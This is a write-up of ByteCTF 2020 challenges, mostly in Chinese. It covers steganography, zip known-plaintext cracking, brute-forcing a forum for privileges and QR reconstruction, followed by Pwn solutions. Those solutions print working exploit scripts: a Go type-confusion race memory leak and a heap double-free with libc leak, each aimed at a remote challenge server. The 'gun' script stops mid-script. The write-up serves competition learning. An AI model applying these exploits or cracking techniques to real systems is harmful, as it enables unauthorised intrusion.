ByteCTF2020
[toc]
Misc
girl_gift
1
Description
隔壁老哥发我一个压缩包,听说是暗恋已久的妹子送给我的,赶紧打开来看看……
附件链接:https://pan.baidu.com/s/1p05NI_qdCjJmgWyHAzyudg 密码: t7aw
备用下载:https://drive.google.com/drive/folders/1X2OxBpJ0M0ha6H-CGWWSKQ7IJAytv9Hq?usp=sharing
Analyze
首先拿到两个文件
1和2
发现2的 文件头出现了
命令script
经过搜索发现,1文件的意义是时间戳 , 2文件是输出的命令
那么重放整个命令
script 1 2
能在命令中发现flag 1 2 3 4 part
那么题取这些东西,
**This is the first part of flag**
GJTR`KMJN[LSGTR`KMJN[LSGTR`KMJN[LSGTR`KMJN[LSGTR`KMJN[LSGTRR`KMJN[LSGTRR`KMJN[LS
]KMQ\\SP]UMY]MQ\\SP]UMY]MQ\\SP]UMY]MQ\\SP]UMY]MQ\\SP]UMY]MQQ\\SP]UMY]MQQ\\SP]UMY
ER_J]KUMS\QPE_J]KMSS\QP_JJ]KSS\QP__JJKSS\QP___JJSS\QP____JJJSS\QP____JJJSS\QP___
CQE_PSVJ^COJCE_PSJ^^COJE__PJ^^^COE___PJ^^^OEE__PJJ^^^EEE__PPJJ^^^EEE__PPJJ^^^EEE
HTXZQDDUTZUXHXZQDUTTZUXXZZQDUTTZUXZZZQDUTZUUXZZQDDUTZUXXZZQQDDUTZUXXZZQQDDUTZUXX
EYZIHVFQ[K`CEZIHVQ[K`CEZIIHV[K`CEZZIIHV[`CCEZZIIV[`CCEZZZIIIV[`CCEZZZIIIV[`CCEZZ
EEDHYNWSMFZCEDHYNWSMFZCDHHYWSSMFZCDHHYWSMMFZCDHHYWSMMZCCDHHHYWSMMZCCDHHHYWSMMZCC
ZNFDRGB`JKZVZFDRGB`JKZVFDDRB``JKZVFDDR```JKZVFDR````JZVVFDRR````JZVVFDRR````JZVV
NQAQLHPZQ\X`NAQLHPZQ\X`AQQLPZQ\X`AQQQPZZQ\X`AQQQZZQ\X``AQQQQZZQ\X``AQQQQZZQ\X``A
VRMT^C]XN_TPVMT^C]XN_TPVMT^C]XN_TPVMT^C]XN_TPVMT^C]XN_TPVMTT^C]XN_TPVMTT^C]XN_TP
CNH^N\HYWVQMCH^N\HYWVQMCH^N\HYWVQMCH^N\HYWVQMCH^N\HYWVQMCH^^N\HYWVQMCH^^N\HYWVQM
KJ\A[RN\]WNKK\A[R\]WNKK\AA[\]]WNK\AAA[]]WNK\\AA[]]WNK\\\AA[[]]WNK\\\AA[[]]WNK\\\
`YCILI^CE[QU`CILI^CE[Q`CCIL^CCE[QCCCI^CCCE[CCCC^CCCCE[CCCC^^CCCCE[CCCC^^CCCCE[CC
UBIKIDP^E[ZMUIKIDP^E[MUUIKIP^^E[MUIIKP^^^E[MUIIP^^^^E[MUIIPP^^^^E[MUIIPP^^^^E[MU
E^\CLHAQBGEDE\CLHAQBEDDE\CLAQBEDDE\\CAQBEDDEE\\AQBEDDEEE\\AAQBEDDEEE\\AAQBEDDEEE
JYB_V_B`LP_RJB_V_B`P__RJB_V_B`P__JBB__BB`P_JBBB__BB`PJBBBB___BB`PJBBBB___BB`PJBB
NCLD`^KRCE[]NLD`^KCEE[]NLD`^KCEE[NLLD^KKCEENLLL^KKKCENLLLL^^KKKCENLLLL^^KKKCENLL
]L[\[Z`EFM[[][\[ZEFFM[[][\[ZEFFM[][[\[EFFM[]][[\EFFM[]]][[\\EFFM[]]][[\\EFFM[]]]
HTHE\JXLNQLGHHE\JXLNQLGHHE\JXLNQLGHHE\JXLNQLGHHE\JXLNQLGHHEE\JXLNQLGHHEE\JXLNQLG
IZFRH[M[JHNKIFRH[M[JHNKIFRH[M[JHNKIFRH[M[JHNKIFRH[M[JHNKIFRRH[M[JHNKIFRRH[M[JHNK
]F^MEP][OOMT]^MEP[OOOMT^MMEPOOOMT^^MMPOOOMT^^^MPOOOOM^^^^MPPOOOOM^^^^MPPOOOOM^^^
NRT[MDN^PW]QNT[MD^PPW]QT[[M^PPPW]T[[[^PPPPW]T[[^PPPPP]TT[[^^PPPPP]TT[[^^PPPPP]TT
PB_VZWTFO\WMP_VZWFOO\WM_VVZWFOO\W_VVVWFFOO\W_VVWFFFOOW__VVWWFFFOOW__VVWWFFFOOW__
BPZRZ[IDK_ZIBZRZ[DK_ZIBZRRZ[D_ZIBZZRR[D_ZIBZZZR[D_ZIBZZZZR[[D_ZIBZZZZR[[D_ZIBZZZ
ET_^__[\VEXJE_^__[\VEXJ_^^__[\VEX_^^^__[\VE_^^^^__[\V_^^^^^^__[\V_^^^^^^__[\V_^^
U^PS_XCI_T^KUPS_XCI_T^KPSS_CII_T^PSSSCIII_TPSSSSCIII_PSSSSSSCIII_PSSSSSSCIII_PSS
WC[EWYLWFQ[RW[EWYLWFQ[R[EEWYWFQ[R[[EEWWFQ[R[[[EEWWFQ[[[[[EEEWWFQ[[[[[EEEWWFQ[[[[
YGXVWDMJL]CUYXVWDMJL]CUYXVWDMJL]CUYXVWDMJL]CUYXVWDMJL]CUYXVVWDMJL]CUYXVVWDMJL]CU
IIATACGEWJ\_IATACGEWJ\_IATACGEWJ\_IATACGEWJ\_IATACGEWJ\_IATTACGEWJ\_IATTACGEWJ\_
_UVEPMY_HPOL_VEPM_HHPOLVEEPMHHPOLVVEEMHHPOLVVVEMHHPOLVVVVEMMHHPOLVVVVEMMHHPOLVVV
CHW`JCNJPBA]CW`JCJPPBA]W``JJPPPBAW```JJPPPAWW``JJJPPPWWW``JJJJPPPWWW``JJJJPPPWWW
FTNGYQUBSSBOFNGYQBSSSBONGGYBSSSSBONGGYBSSSBBONGYBBSSSBOONGYYBBSSSBOONGYYBBSSSBOO
MNIEI[AASKU]MIEI[ASKU]MIEEIASKU]MIIEEIASU]]MIIEIASU]]MMIIEIIASU]]MMIIEIIASU]]MMI
]KN^CSAY^D[S]N^CSAY^D[SN^^CAYY^D[N^^^CAY^^D[N^^CAAY^^[NN^^CCAAY^^[NN^^CCAAY^^[NN
XG_`WRUAVMKDX_`WRUAVMKD_``WUAAVMK_```WAAAVMK_``WAAAAVK__``WWAAAAVK__``WWAAAAVK__
KGWLGEWRBGLYKWLGEWRBGLYWLLGERBGLYWWLLERRBGLYWWLERRBGLYYWWLEERRBGLYYWWLEERRBGLYYW
KA`LM[KO[YGBK`LM[KO[YGBK`LM[KO[YGBK`LM[KO[YGBK`LM[KO[YGBK`LLM[KO[YGBK`LLM[KO[YGB
**This is the second part of flag**
GJTR`KMJN[LSGTR`KMJN[LSGTR`KMJN[LSGTR`KMJN[LSGTR`KMJN[LSGTRR`KMJN[LSGTRR`KMJN[LS
]KMQ\\SP]UMY]MQ\\SP]UMY]MQ\\SP]UMY]MQ\\SP]UMY]MQ\\SP]UMY]MQQ\\SP]UMY]MQQ\\SP]UMY
ER_J]KUMS\QPE_J]KMS\QPE__J]MSS\QP___J]SS\QP____JSS\QP_____JJSS\QP_____JJSS\QP___
CQE_PSVJ^COJCE_PSJ^^COJCE_PJ^^^COCEE_J^^^^CCEEEJ^^^^^CEEEEJJ^^^^^CEEEEJJ^^^^^CEE
HTXZQDDUTZUXHXZQDUTTZUXHXZQUTTTZUHXXZUTTTTZUHXXUTTTTTUHHXXUUTTTTTUHHXXUUTTTTTUHH
EYZIHVFQ[K`CEZIHVQ[K`CEZZIHQ[K`CEZZZIQ[K`CEZZZZI[K`CEZZZZZII[K`CEZZZZZII[K`CEZZZ
EEDHYNWSMFZCEDHYNWSMFZCDHHYNWSMFZDHHHNWWSMFDHHHNWWWSMDHHHHNNWWWSMDHHHHNNWWWSMDHH
ZNFDRGB`JKZVZFDRG`JJKZVFDDRG`JJKZFDDDG``JJKFDDDG```JJFDDDDGG```JJFDDDDGG```JJFDD
NQAQLHPZQ\X`NAQLHPQ\X`NAAQLHPQ\X`AAAQLPQ\X`AAAAQPQ\X`AAAAAQQPQ\X`AAAAAQQPQ\X`AAA
VRMT^C]XN_TPVMT^C]XN_TPVMT^C]XN_TPVMT^C]XN_TPVMT^C]XN_TPVMTT^C]XN_TPVMTT^C]XN_TP
CNH^N\HYWVQMCH^N\HYWVQMCH^N\HYWVQMCH^N\HYWVQMCH^N\HYWVQMCH^^N\HYWVQMCH^^N\HYWVQM
KJ\A[RN\]WNKK\A[RN]WNKK\\A[R]WNKK\\\AR]WNKK\\\\R]WNKK\\\\\RR]WNKK\\\\\RR]WNKK\\\
`YCILI^CE[QU`CILICEE[QUCIILCEEE[QCIIICEEEE[QCIICEEEEE[QCIICCEEEEE[QCIICCEEEEE[QC
UBIKIDP^E[ZMUIKIDP^E[ZMIKKIDP^E[ZIKKKDPP^E[ZIKKDPPP^E[ZIKKDDPPP^E[ZIKKDDPPP^E[ZI
E^\CLHAQBGEDE\CLHAQGEDE\\CLHAGEDE\\\CHAGEDE\\\\HAGEDDE\\\\HHAGEDDE\\\\HHAGEDDE\\
JYB_V_B`LP_RJB_V_B`LP_RB__V_B`LP_B___V_B`LPB___V__B`LPB___VV__B`LPB___VV__B`LPB_
NCLD`^KRCE[]NLD`^RCCE[]LDD`RCCCE[LDDDRCCCCELDDDRCCCCCELDDDRRCCCCCELDDDRRCCCCCELD
]L[\[Z`EFM[[][\[Z`FM[[][[\[ZFM[[][[[\[FM[[][[[[[FFM[[][[[[[[FFM[[][[[[[[FFM[[][[
HTHE\JXLNQLGHHE\JXLNQLGHHE\JXLNQLGHHE\JXLNQLGHHE\JXLNQLGHHEE\JXLNQLGHHEE\JXLNQLG
IZFRH[M[JHNKIFRH[M[JHNKIFRH[M[JHNKIFRH[M[JHNKIFRH[M[JHNKIFRRH[M[JHNKIFRRH[M[JHNK
]F^MEP][OOMT]^MEP]OOMT]^^ME]OOMT]^^^M]OOOMT^^^^MOOOMT^^^^^MMOOOMT^^^^^MMOOOMT^^^
NRT[MDN^PW]QNT[MD^PPW]QT[[MD^PPWQTT[[D^^PPWTTT[D^^^PPTTTT[DD^^^PPTTTT[DD^^^PPTTT
PB_VZWTFO\WMP_VZWFOO\WMP_VZWFOOWMMP_VWFFOOWMPP_WFFFOOMPPP_WWFFFOOMPPP_WWFFFOOMPP
BPZRZ[IDK_ZIBZRZ[DK_ZIBZZRZ[DKZIIBZZR[DKZIIBZZZRDKZIIBZZZZRRDKZIIBZZZZRRDKZIIBZZ
ET_^__[\VEXJE_^__\VVEXJ_^^__\VEEXJ_^^__\VEEJ__^^__\VEJ___^^^__\VEJ___^^^__\VEJ__
U^PS_XCI_T^KUPS_XI__T^KPSS_X___T^KPSS_X___TKPPS_XX___KPPPS__XX___KPPPS__XX___KPP
WC[EWYLWFQ[RW[EWYLFQ[RW[[EWLFFQ[RW[[EWLFFQ[W[[[ELFFQ[WW[[[EELFFQ[WW[[[EELFFQ[WW[
YGXVWDMJL]CUYXVWDMJL]CUYXVWDMJL]CUYXVWDMJL]CUYXVWDMJL]CUYXVVWDMJL]CUYXVVWDMJL]CU
IIATACGEWJ\_IATACGEWJ\_IATACGEWJ\_IATACGEWJ\_IATACGEWJ\_IATTACGEWJ\_IATTACGEWJ\_
_UVEPMY_HPOL_VEPM_HPOL_VVEPMHPOL_VVVEPHPOL_VVVVEPPOOL_VVVVEEPPOOL_VVVVEEPPOOL_VV
CHW`JCNJPBA]CW`JCJPPBA]CW`JJPPPBACWW`JPPPPBCWWWJPPPPPBCWWWJJPPPPPBCWWWJJPPPPPBCW
FTNGYQUBSSBOFNGYQBSSSBOFNGYQBSSSBFNNGYQBSSSFNNNGYBSSSSFNNNGGYBSSSSFNNNGGYBSSSSFN
MNIEI[AASKU]MIEI[ASKU]MIIEI[SKU]MIIIEI[KU]MIIIIEIKUU]MIIIIEEIKUU]MIIIIEEIKUU]MII
]KN^CSAY^D[S]N^CSAY^D[SN^^CAYY^D[SN^^CAYY^DSNN^^CYYY^DSNN^^^CYYY^DSNN^^^CYYY^DSN
XG_`WRUAVMKDX_`WRAVVMKD_``WAVVVMKD_``AVVVVMD__``AVVVVMD__```AVVVVMD__```AVVVVMD_
KGWLGEWRBGLYKWLGEWBGLYKWWLGWBGLYKWWWLGBGLYKWWWWGBGLYKKWWWWGGBGLYKKWWWWGGBGLYKKWW
KA`LM[KO[YGBK`LM[KO[YGBK`LM[KO[YGBK`LM[KO[YGBK`LM[KO[YGBK`LLM[KO[YGBK`LLM[KO[YGB
**This is the third part of flag**
GJTR`KMJN[LSGTR`KMJN[LSGTR`KMJN[LSGTR`KMJN[LSGTR`KMJN[LSGTRR`KMJN[LSGTRR`KMJN[LS
]KMQ\\SP]UMY]MQ\\SP]UMY]MQ\\SP]UMY]MQ\\SP]UMY]MQ\\SP]UMY]MQQ\\SP]UMY]MQQ\\SP]UMY
ER_J]KUMS\QPE_J]KMSS\QP_JJ]KSS\QP__JJKSS\QP___JJSS\QP____JJJSS\QP____JJJSS\QP___
CQE_PSVJ^COJCE_PSJ^^COJE__PJ^^^COE___J^^^^COE__J^^^^^OEE__JJ^^^^^OEE__JJ^^^^^OEE
HTXZQDDUTZUXHXZQDUTTZUXXZZQUTTTZUXXZZUTTTTZUXXZZUTTTTUXXXZZZUTTTTUXXXZZZUTTTTUXX
EYZIHVFQ[K`CEZIHVQ[K`CEZIIHQ[K`CEZZIIQ[K`CEZZZII[K`CEZZZZIII[K`CEZZZZIII[K`CEZZZ
EEDHYNWSMFZCEDHYNWSMFZCDHHYWSSMFZDHHHYWSSMFDHHHYWWSSMFDHHHYYWWSSMFDHHHYYWWSSMFDH
ZNFDRGB`JKZVZFDRGB`JKZVFDDRB``JKZFDDDB```JKFDDDB````JKFDDDBB````JKFDDDBB````JKFD
NQAQLHPZQ\X`NAQLHPZQ\X`AQQLHZQ\X`AAQQLZQ\X`AAAQLZQ\X`AAAAQLLZQ\X`AAAAQLLZQ\X`AAA
VRMT^C]XN_TPVMT^C]XN_TPVMT^C]XN_TPVMT^C]XN_TPVMT^C]XN_TPVMTT^C]XN_TPVMTT^C]XN_TP
CNH^N\HYWVQMCH^N\HYWVQMCH^N\HYWVQMCH^N\HYWVQMCH^N\HYWVQMCH^^N\HYWVQMCH^^N\HYWVQM
KJ\A[RN\]WNKK\A[RN]WNKK\\A[RNWNNKK\\[RNWNNNKK\[RNWNNNNKK\[RRNWNNNNKK\[RRNWNNNNKK
`YCILI^CE[QU`CILICEE[QUCIILCEE[[QUCILLCEE[QQUILLLCE[QQQUILLLLCE[QQQUILLLLCE[QQQU
UBIKIDP^E[ZMUIKIDP^E[ZMIKKIDPE[[ZMIKKIDPE[ZZMIKKIDP[ZZZMIKKKIDP[ZZZMIKKKIDP[ZZZM
E^\CLHAQBGEDE\CLHAQGEDE\\CLHAGEEDE\\CHAGEEEDE\\HAGEEEEDE\\HHAGEEEEDE\\HHAGEEEEDE
JYB_V_B`LP_RJB_V_B`LP_RB__V_BLPP_RB__V_BLP__RB__V_BP___RB___V_BP___RB___V_BP___R
NCLD`^KRCE[]NLD`^RCCE[]LDD`^RCEE[]LD``^RCE[[]D```^RE[[[]D````^RE[[[]D````^RE[[[]
]L[\[Z`EFM[[][\[Z`FM[[][[\[`FM[[]][[[`FM[[[]][[`FM[[[[]][[``FM[[[[]][[``FM[[[[]]
HTHE\JXLNQLGHHE\JXLNQLGHHE\JXLNQLGHHE\JXLNQLGHHE\JXLNQLGHHEE\JXLNQLGHHEE\JXLNQLG
IZFRH[M[JHNKIFRH[M[JHNKIFRH[M[JHNKIFRH[M[JHNKIFRH[M[JHNKIFRRH[M[JHNKIFRRH[M[JHNK
]F^MEP][OOMT]^MEP[OOOMT^MME[OOOMT^MMM[OOOOM^MMM[OOOOO^MMMM[[OOOOO^MMMM[[OOOOO^MM
NRT[MDN^PW]QNT[MD^PPW]QT[[M^PPPW]QT[[^PPPPWQTT[^PPPPPQTTT[^^PPPPPQTTT[^^PPPPPQTT
PB_VZWTFO\WMP_VZWFOO\WM_VVZFOOO\WM_VVFOOOO\M__VFOOOOOM___VFFOOOOOM___VFFOOOOOM__
BPZRZ[IDK_ZIBZRZ[DK_ZIBZRRZDK_ZIIBZRRDK_ZIIBZZRDK_ZIIBZZZRDDK_ZIIBZZZRDDK_ZIIBZZ
ET_^__[\VEXJE_^__[\VEXJ_^^_[\\VEXJ_^^_[\\VEJ__^^_[\\VJ___^^^_[\\VJ___^^^_[\\VJ__
U^PS_XCI_T^KUPS_XCI_T^KPSS_CII_T^KPSS_CII_TKPPSS_CII_KPPPSSS_CII_KPPPSSS_CII_KPP
WC[EWYLWFQ[RW[EWYLWFQ[R[EEWLWFQ[R[EEEWLWFQ[[EEEEWLWFQ[EEEEEEWLWFQ[EEEEEEWLWFQ[EE
YGXVWDMJL]CUYXVWDMJL]CUYXVWDMJL]CUYXVWDMJL]CUYXVWDMJL]CUYXVVWDMJL]CUYXVVWDMJL]CU
IIATACGEWJ\_IATACGEWJ\_IATACGEWJ\_IATACGEWJ\_IATACGEWJ\_IATTACGEWJ\_IATTACGEWJ\_
_UVEPMY_HPOL_VEPM_HPOL_VVEP_HPOL_VVVEPHPOL_VVVVEPPOOL_VVVVEEPPOOL_VVVVEEPPOOL_VV
CHW`JCNJPBA]CW`JCJPPBA]CW`JJPPPBA]CW`JPPPPB]CCWJPPPPPB]CCWJJPPPPPB]CCWJJPPPPPB]C
FTNGYQUBSSBOFNGYQBSSSBOFNGYBSSSSBOFNGYBSSSSOFFNGYSSSSSOFFNGGYSSSSSOFFNGGYSSSSSOF
MNIEI[AASKU]MIEI[ASKU]MIIEIASKU]]MIIEIAKU]]MMIIEIKUU]]MMIIEEIKUU]]MMIIEEIKUU]]MM
]KN^CSAY^D[S]N^CSAY^D[SN^^CAYY^D[SN^^CAYY^DSNN^^CYYY^DSNN^^^CYYY^DSNN^^^CYYY^DSN
XG_`WRUAVMKDX_`WRAVVMKD_``WAVVVMKD_``AVVVVMD__``AVVVVMD__```AVVVVMD__```AVVVVMD_
KGWLGEWRBGLYKWLGEWBGLYKWWLGWBBGLYKWWLGBBGLYKKWWGBBGLYYKKWWGGBBGLYYKKWWGGBBGLYYKK
KA`LM[KO[YGBK`LM[KO[YGBK`LM[KO[YGBK`LM[KO[YGBK`LM[KO[YGBK`LLM[KO[YGBK`LLM[KO[YGB
**This is the final part of flag**
GJTR`KMJN[LSGTR`KMJN[LSGTR`KMJN[LSGTR`KMJN[LSGTR`KMJN[LSGTRR`KMJN[LSGTRR`KMJN[LS
]KMQ\\SP]UMY]MQ\\SP]UMY]MQ\\SP]UMY]MQ\\SP]UMY]MQ\\SP]UMY]MQQ\\SP]UMY]MQQ\\SP]UMY
ER_J]KUMS\QPE_J]KUS\QPE__J]US\QPE___JUS\QPE____US\QPE_____UUS\QPE_____UUS\QPE___
CQE_PSVJ^COJCE_PSJ^^COJE__PJ^^^COJE__J^^^^COJE_J^^^^^COJE_JJ^^^^^COJE_JJ^^^^^COJ
HTXZQDDUTZUXHXZQDDUTZUXXZZQDUUTZUXXZZDUUUTZUXXZDUUUUTZUXXZDDUUUUTZUXXZDDUUUUTZUX
EYZIHVFQ[K`CEZIHVFQK`CEZZIHFQK`CEZZZIFQK`CEZZZZFQK`CCEZZZZFFQK`CCEZZZZFFQK`CCEZZ
EEDHYNWSMFZCEDHYNWSMFZCDHHYNWSMFZDHHHYNWSMFDHHHYNNWSMFDHHHYYNNWSMFDHHHYYNNWSMFDH
ZNFDRGB`JKZVZFDRG`JJKZVFDDR`JJJKZFDDD`JJJJKFDDD`JJJJJKFDDD``JJJJJKFDDD``JJJJJKFD
NQAQLHPZQ\X`NAQLHPQ\X`NAAQLHQ\X`NAAAQLQ\X`NAAAALQQ\X`NAAAALLQQ\X`NAAAALLQQ\X`NAA
VRMT^C]XN_TPVMT^C]XN_TPVMT^C]XN_TPVMT^C]XN_TPVMT^C]XN_TPVMTT^C]XN_TPVMTT^C]XN_TP
CNH^N\HYWVQMCH^N\HYWVQMCH^N\HYWVQMCH^N\HYWVQMCH^N\HYWVQMCH^^N\HYWVQMCH^^N\HYWVQM
KJ\A[RN\]WNKK\A[RN]WNKK\\A[N]]WNK\\\AN]]WNK\\\\N]]WNK\\\\\NN]]WNK\\\\\NN]]WNK\\\
`YCILI^CE[QU`CILICEE[QUCIILCEEE[QCIIICEEEE[QCIICEEEEE[QCIICCEEEEE[QCIICCEEEEE[QC
UBIKIDP^E[ZMUIKIDP^E[ZMIKKIP^^E[ZIKKKP^^^E[ZIKKP^^^^E[ZIKKPP^^^^E[ZIKKPP^^^^E[ZI
E^\CLHAQBGEDE\CLHAQGEDE\\CLAQGEDE\\\CAQGEDE\\\\AQGEDDE\\\\AAQGEDDE\\\\AAQGEDDE\\
JYB_V_B`LP_RJB_V_B`LP_RB__V_B`LP_B___V_B`LPB___V__B`LPB___VV__B`LPB___VV__B`LPB_
NCLD`^KRCE[]NLD`^RCCE[]LDD`^RCCE[LDDD^RRCCELDDD^RRRCCELDDD^^RRRCCELDDD^^RRRCCELD
]L[\[Z`EFM[[][\[Z`FM[[][[\[Z`FM[[[[[\[`FM[[[[[[[``FM[[[[[[[[``FM[[[[[[[[``FM[[[[
HTHE\JXLNQLGHHE\JXLNQLGHHE\JXLNQLGHHE\JXLNQLGHHE\JXLNQLGHHEE\JXLNQLGHHEE\JXLNQLG
IZFRH[M[JHNKIFRH[M[JHNKIFRH[M[JHNKIFRH[M[JHNKIFRH[M[JHNKIFRRH[M[JHNKIFRRH[M[JHNK
]F^MEP][OOMT]^MEP[OOOMT^MMEPOOOMT^^MMPOOOOM^^^MMOOOOM^^^^MMMOOOOM^^^^MMMOOOOM^^^
NRT[MDN^PW]QNT[MD^PPW]QT[[M^PPPW]T[[[^PPPPWT[[[^PPPPPT[[[[^^PPPPPT[[[[^^PPPPPT[[
PB_VZWTFO\WMP_VZWFOO\WM_VVZFOOO\WM_VVFOOOO\M__VFOOOOOM___VFFOOOOOM___VFFOOOOOM__
BPZRZ[IDK_ZIBZRZ[DK_ZIBZRRZDKK_ZIBZRRDKK_ZIBZZRRKK_ZIBZZZRRRKK_ZIBZZZRRRKK_ZIBZZ
ET_^__[\VEXJE_^__[\VEXJ_^^_[\\VEXJ_^^_[\\VEJ__^^_[\\VJ___^^^_[\\VJ___^^^_[\\VJ__
U^PS_XCI_T^KUPS_XCI_T^KPSS_CII_T^PSSS_CII_TPSSS_CCII_PSSSS__CCII_PSSSS__CCII_PSS
WC[EWYLWFQ[RW[EWYLWFQ[R[EEWYWFQ[R[[EEWYWFQ[[[[EEYWFQ[[[[[EEEYWFQ[[[[[EEEYWFQ[[[[
YGXVWDMJL]CUYXVWDMJL]CUYXVWDMJL]CUYXVWDMJL]CUYXVWDMJL]CUYXVVWDMJL]CUYXVVWDMJL]CU
IIATACGEWJ\_IATACGEWJ\_IATACGEWJ\_IATACGEWJ\_IATACGEWJ\_IATTACGEWJ\_IATTACGEWJ\_
_UVEPMY_HPOL_VEPM_HHPOLVEEP_HHPOLVVEE_HHPOLVVVE_HHPOLVVVVE__HHPOLVVVVE__HHPOLVVV
CHW`JCNJPBA]CW`JCJPPBA]W``JJPPPBA]W``JJPPPA]]W`JJJPPP]]]W`JJJJPPP]]]W`JJJJPPP]]]
FTNGYQUBSSBOFNGYQBSSSBONGGYBSSSSBONGGYBSSSBBONGYBBSSSBOONGYYBBSSSBOONGYYBBSSSBOO
MNIEI[AASKU]MIEI[ASKU]MIEEIASKU]MIIEEIASU]]MIIEIAASU]MIIIEIIAASU]MIIIEIIAASU]MII
]KN^CSAY^D[S]N^CSAY^D[SN^^CSAY^D[N^^^CSY^^D[N^^CSSY^^[NN^^CCSSY^^[NN^^CCSSY^^[NN
XG_`WRUAVMKDX_`WRUAVMKD_``WUAAVMK_```WAAAVMK_``WAAAAVK__``WWAAAAVK__``WWAAAAVK__
KGWLGEWRBGLYKWLGEWRBGLYWLLGERBGLYWWLLERRBGLYWWLERRBGLYYWWLEERRBGLYYWWLEERRBGLYYW
KA`LM[KO[YGBK`LM[KO[YGBK`LM[KO[YGBK`LM[KO[YGBK`LM[KO[YGBK`LLM[KO[YGBK`LLM[KO[YGB
在动画中间发现hint \~3\~D\~
搜索得到AA3D
经过搜索发现是一种利用3D图片来隐写文字的一种东西,
发现可以通过更改上述截图的offset来找到隐藏的字符
利用stegsolve可以得到
那么继续如上操作共4个图片。 然后16进制转ascii
得到flag
flag
ByteCTF{Th3_gIR1FR13ND_15_4_LIE}
PT site
Description
Welcome to ByteCTF private file sharing server. Notice that this is not a web challenge.
http://182.92.4.49:30080
http://123.57.66.79:30080
Analyze
进入网站后发现登陆注册等,但是需要邀请码,通过下载特定id的邀请压缩包+阅读文件。
想到可以通过构造前段明文来明文攻击解开压缩包
./bkcrack.exe -C hide.zip -c receipt.txt -P 1.zip -p 1.txt
可以得到密钥
b806c3da c3230410 fc431600
用ARCHPR利用3个密钥解压缩包
得到邀请码成功注册,注册后发现一个种子链接。和后半段flag 被 权限限制住了.
发现VIP可以忽略一切权限问题,8000魔力升vip=8000水贴
那么开刷,Burp 直接instruder模块,10000次拿到权限
买vip得到flag后半段
那么前半段先用bittorrent 下载了种子发现 nfo主要是一些文件信息,然后mp4文件是一个后面flag视频部分损坏的。但是数据都被填充过了。
那么想到了安恒曾出过的百度网盘秒传,利用其中的前 256kb的 md5 文件md5
文件路径 文件大小 成功恢复了 视频文件,得到前半段flag
flag
ByteCTF{wh4t_aN_eP1c_Tr4i1er_and_a_M4g1c_ch34t3R!!!}
Hardcore Watermark 01
Description
厌烦了用工具解图片题?那么来点硬核的~
链接: https://pan.baidu.com/s/1lKNYV4_X2Aqx8-qPB2Z_uw 密码: 6597
(备用下载:https://drive.google.com/drive/folders/1MsAZfHq2G61AQQCv_CBajmjnPUXlIBIo?usp=sharing)
Analyze
开局一张图,丢入stegsolve中发现各个颜色最低位有二维码的印记
因为一开始没什么想法,于是便去找了找原图,发现原图在http://tech.china.com.cn/roll/20200622/367168.shtml 这
丢入stegsolve两图对比进行sub处理后得到(别问为什么是sub,就是因为sub比较清楚)
然后猜测是某一个色域的像素值确定一个二维码,于是脚本画出二维码图发现:
from PIL import Image
p = Image.open('x.bmp')
a,b = p.size
for n in range(3):
np = Image.new('RGB', (a, b), (255, 255, 255))
if n == 0:
for y in range(b):
for x in range(a):
if p.getpixel((x,y))[0]>240:
np.putpixel((x,y),(255,0,p.getpixel((x,y))[2]))
np.save('r.png')
elif n == 1:
for y in range(b):
for x in range(a):
if p.getpixel((x,y))[1]>=240:
np.putpixel((x,y),p.getpixel((x,y)))
np.save('g.png')
else:
for y in range(b):
for x in range(a):
if p.getpixel((x,y))[2]>240:
np.putpixel((x,y),p.getpixel((x,y)))
np.save('b.png')
r.png:
g.png:
b.png:
然后得到的图经过PS的阙值
得到
同样操作截图并分隔得到三段二维码,将头和尾部反色操作后得:
拼接后得到:
但是并扫不出来,中间有段模糊的
于是用qrazybox手撸二维码:
解码发现:
使用另外一个工具:
得到flag:
flag
ByteCTF{ByteCTF-2020 FLAG!GALF 0202-FTCetyB10001000}
Survey
A good Game。
Checkin
北京 上海 硅谷 杭州 深圳
得到flag
Pwn
leak
类型混淆漏洞,条件竞争存**uintptr
为*uintptr
,改data
的值,由于go中普遍不开aslr保护,所以爆搜找到flag的地址,再打印出来即可
#coding:utf-8
from pwn import *
import subprocess
import sys,os,string
p = remote('123.56.96.75',30775)
code = '''
type Mem struct {
addr *uintptr
data *uintptr
}
func NewMem() *Mem {
m := new(Mem)
var i, j, k interface{}
i = (*uintptr)(nil)
j = &m.data
done := false
go func() {
ll := 0
for !done {
if ll % 2 == 0{
k = i
}else{
k = j
}
ll += 1
}
}()
for {
if p, ok := k.(*uintptr); ok && p != nil {
m.addr = p
done = true
break
}
}
return m
}
var a *Mem
var i uintptr
var j uintptr
func hack() {
a=NewMem()
for i=0; i<=44; i++ {
*a.addr = 0xc00002c5e8+i*8
println(*a.data)
}
}
#
'''
p.sendafter('[*] Now give me your code:', code)
p.recvuntil('[*] Your output:')
print p.recvline()
print p.recv()
p.interactive()
p.close()
gun
load子弹的时候用的是单链表,打完之后没有清空,可以造成double free
(打远程的时候不太稳定,不知道为啥
exp:
#!/usr/bin/python
from pwn import *
import sys
#from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='gun'
libc_name='libc-2.31.so'
if local:
p=process("./"+binary_name)
libc=ELF("./"+libc_name)
#p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./"+binary_name])
#p = process(argv=["./qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "-g", "1234", "./"+binary_name])
else:
p=remote('123.57.209.176',30772)
e=ELF("./"+binary_name)
libc=ELF("./"+libc_name)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
def cho(num):
sla("Action> ",str(num))
def add(size,data):
cho(3)
sla("price: ",str(size))
sla("Name: ",data)
def load(idx):
cho(2)
sla("load?",str(idx))
def shoot(idx):
cho(1)
sla("time:",str(idx))
sla('Your name: ','aaaaaa')
add(0x500,'a')
add(0x10,'a')
load(0)
shoot(1)
add(0x500,'a')
load(0)
shoot(1)
libc_addr = u64(p.recvline()[10:16]+b'\x00'*2)-0x1ebb61
print(hex(libc_addr))
load(1)
shoot(1)
for i in range(11):
add(0x20,'a')
for i in range(7):
load(i)
shoot(7)
load(8)
load(9)
load(7)
shoot(2)
for i in range(7):
add(0x20,'a')
add(0x20,'ddddddddbbbbbbbb') #8
shoot(1)
for i in range(5):
load(i)
